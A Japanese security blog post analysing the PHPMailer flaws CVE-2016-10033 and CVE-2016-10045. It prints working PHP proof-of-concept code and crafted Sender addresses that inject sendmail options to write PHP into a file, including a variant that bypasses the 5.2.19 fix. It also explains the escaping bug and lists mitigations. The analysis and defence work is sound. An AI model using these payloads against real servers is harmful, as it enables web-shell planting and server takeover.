2016年12月28日水曜日

PHPMailerの脆弱性CVE-2016-10033について解析した

エグゼクティブサマリ

PHPMailerにリモートスクリプト実行の脆弱性CVE-2016-10033が公表された。攻撃が成功した場合、ウェブシェルが設置され、ウェブサーバーが乗っ取られる等非常に危険であるが、攻撃成功には下記の条件が必要であることがわかった
  • PHPMailer 5.2.17以前を使っている
  • Senderプロパティ(エンベロープFrom)を外部から設定できる
  • 現在出回っているPoCはMTAとしてsendmailを想定しており、postfixを使っている環境では問題ない
対策版として公開されている PHPMailer 5.2.19も不完全であるので、回避策の導入を推奨する。

はじめに

12月24日にPHPMalerの脆弱性CVE-2016-10033が公表され、とんだクリスマスプレゼントだと話題になっています。
 PHPからのメール送信に広く使われているライブラリの「PHPMailer」に重大な脆弱性が報告され、修正のためのパッチが12月24日付で公開された。悪用されれば任意のコードを実行される恐れも指摘され、米セキュリティ機関のSANS Internet Storm Centerは直ちにパッチを適用するよう呼び掛けている。

「PHPMailer」に重大な脆弱性、直ちにパッチ適用をより引用
「任意コードを実行される」なんて血沸き肉踊りますとても心配ですよね。ということで、詳しく調べてみることにしました。

PoC

PoCは既に公表されているということと、現実のところ攻撃は難しいと考えられるため、この脆弱性のPoCを下記に示します。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'tokumaru@example.jp'; // 自分のメールアドレスに変更して下さい

// Exploit
$from = '"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->Sender = $from;
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '<?php phpinfo(); ?>';   // 実行コード
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
これを実行すると、/tmp/exploit.php として下記のファイルが生成されます。
05284 <<< To: hiroshi2009@tokumaru.org
05284 <<< Subject: CVE-2016-10033 PoC
... 中略
05284 >>> X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
05284 >>> MIME-Version: 1.0
05284 >>> Content-Type: text/plain; charset=iso-8859-1
05284 >>>
05284 >>> <?php phpinfo(); ?>
05284 >>>
05284 >>> .
05284 <<< 250 2.0.0 uBS1bgVM005294 Message accepted for delivery
05284 >>> QUIT
05284 <<< 221 2.0.0 localhost closing connection
本文中のPHPスクリプトがログとして出力されていることがわかります。
実際の攻撃では、ドキュメントルート上にウェブシェルを設置する等の攻撃ができることになります。

なぜ攻撃が成立するか

PHPMailerのSenderプロパティは、メールの「エンベロープFrom」を設定するもので、受け取ったメールでは、Return-Pathヘッダとして設定されるものです。エンベロープFromについては、水無月ばけらさんの解説をお読み下さい。
PHPMaierでは、メール送信に先立ち、Senderとして設定されたメールアドレスがRFC準拠かどうかを確認した後、下記の流れでmail関数の第5パラメータにセットされます。
$params = sprintf('-f%s', $this->Sender);
... 色々な処理
$result = @mail($to, $subject, $body, $header, $params);
この第5パラメータは、sendmailコマンドに引き渡すオプションパラメータを指定するもので、小邨孝明さんの解説によると、sendmailコマンドの呼び出し前に、escapeshellcmd同等のエスケープ処理が施されます。
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点 より引用
そして、まさに『sendmailコマンドに任意のコマンドライン引数を渡されてしまう』ことが起こったわけです。

攻撃に用いるメールアドレスについて

先のPoCで用いた攻撃用のメールアドレスは下記のものですが、
"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp
これは、RFC5322等に適合しているため、PHPMailer内部のバリデーションを通過します。このあたりは@cakephperさんが詳しく解説されていますが、
悲しいことに、PCREが入っているほうがPHPの対象範囲が広くなってしまいます・・・
PCREが入っておらず、PHP5.2以上の場合はPHPのfilter_var()でメールアドレスチェックが行われるため救われます。PCREの正規表現よりもfiter_var()を優先すれば良いのに・・・

PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
正規表現だとチェックをすりぬけ、filter_varだと弾かれると書いてありますが、これはおそらく、filter_varのメールアドレスチェックは、たとえクォートされていても空白を許さないからだと思います。このあたりは、こちらの記事で書いたことがあります。
さて、実は、先のメールアドレスをそのままsendmailに渡せば、メールアドレスのクォートがうまく働いて攻撃は成立しないのですが、mail関数内部でescapeshellcmd相当のエスケープ処理が入るため、実際のsendmail呼び出しは下記とになります。
sh -c /usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
 -f"a \\" の部分に注目ください。escapeshellcmdがバックスラッシュのみをエスケープしたことが仇となって、実際にsendmailコマンドに渡される-fオプションは、「-fa \」までとなり、-Oパラメータや-Xパラメータがはみ出した状態になります。これが、OSコマンドパラメータインジェクションの原因です。

PHPMailer 5.2.19での対応

対策版とされる PHPMailer 5.2.19 では、以下のようにSenderプロパティをescapeshellarg関数でエスケープしてからmail関数に渡されるようになりました。
$params = sprintf('-f%s', escapeshellarg($this->Sender));
しかし、これはこれで不安ですね。その理由は、escapeshellarg関数の後、mail関数内部でescapeshllcmd相当のエスケープが行われるからです。二重にエスケープされるので予期しない動作になる可能性があります。あれ、これではまずい…
と思って、届出をしていたところ、先に発表されていました。CVE-2016-10045が割り当てられています。PoCも公開されていますね。


先のPoCに対して、Senderのメールアドレスを以下のように変更するだけで、5.2.19への攻撃ができます。ダブルクォートをシングルクォートに変えるだけですね。
$from = '"a \'  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp';
この場合、まず、escapeshellarg して-f を前置した結果は下記となります。
-f'"a '\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp'
そして、sendmailの呼び出しは下記となります。
/usr/sbin/sendmail -t -i  -f'\"a '\\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp\'
ややこしいですが、\がエスケープされて二重になっていますね。その結果、-fオプションが -f'\"a '\\'' で切れてしまっています。この結果は、以下の3要素を連結したものとなっています。
-f'\"a '
\\
''
その結果、sendmailに実際に渡されるパラメータは、-f\"a \ です(''は空文字列ですので)。
結果として、-Oオプションや、-Xオプションがクォートの外にはみ出し、攻撃が成立しています。これは、escapeshellargとescapeshellcmdを両方していることの副作用ですので、安全なエスケープは難しそうです。

影響を受けるMTA

前述のように、現在公開されているPoCは、sendmailコマンドの-Xオプション(MTAのログを-Xで指定したファイルに出力する)を用いたものですが、postfixのsendmailラッパーでは-Xオプションは無効化されているため、攻撃の影響を受けません。私の気づいていない他の攻撃経路の可能性はありますが、さしあたり、sendmailをMTAとして使っている場合よりも、影響を受ける可能性は低いと考えられます。

ケーススタディ HASHコンサルティングのウェブサイト

CVE-2016-10033の影響を受けるソフトウェアの一つにWordPressがあげられています。既報のように、弊社 HASHコンサルティング株式会社のオフィシャルウェブサイトは、2016/9/30にWordPressを用いてリプレースしており、Contact Form 7による問い合わせフォームがあります。Contact Form 7は、WordPressのwp_mailという関数を通じてPHPMailerを呼び出しており、WordPress 4.7(最新版)にバンドルされるPHPMailer は5.2.14という脆弱なバージョンです。
つまり、ビンゴとなっているのですが、下記の2点から、弊社サイトは PHPMailerの影響を受けないと考えられます。
  • エンベロープFrom(Senderプロパティ)は固定とになっていて外部から操作できない
  • MTAとしてPostfixを使用している
特に、Senderプロパティを操作できない点が大きいですね。上記は、あくまで弊社サイトでの状況なので、個別のサイトについてはご確認ください。

対策

対策版として PHPMailer 5.2.19が公開されていますが、前述のようにこの対策はイマイチで、導入してもあまり安全性は変わりません。
このため、回避策として以下を推奨いたします。
  • Senderプロパティを設定しない、あるいは固定にする(強く推奨)
  • MTAとしてsendmailを避け、postfixを使用する
  • ドキュメントルート下のファイルやディレクトリをPHPスクリプトが動作するユーザから書き込み不可に設定する
  • 改ざん検知の仕組みを導入する(緩和策)
どーーーしても、Senderプロパティを動的に変更したい場合、PHPMailerの呼び出し側で、メールアドレスを厳し目にバリデーションするくらいでしょうか。この場合、空白、ダブルクォート、シングルクォート、バックスラッシュが弾かれることを確認ください。

まとめ

PHPMailerの脆弱性CVE-2016-10033とCVE-2016-10045について報告しました。現在公開されているPHPMailer 5.2.19の対策は不完全ですので、回避策の導入を推奨します。
メールアドレスのような複雑な仕様の場合であっても、バリデーションを厳密にしていても重大な脆弱性が混入する可能性があるという点で興味深いと感じました。また、小邨孝明さんの予言が的中した形となり、氏の先見の明には感服するばかりです。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

1 件のコメント:

  1. 調べず書く。sendmail -f 向けのメールアドレス値ならば、RFC 5322 に適合しているかチェックするのがそもそもの間違いで、RFC 5321 にすべきだと思う。それで今回の脆弱性が回避できるかどうかはともかく。

    返信削除

フォロワー

ブログ アーカイブ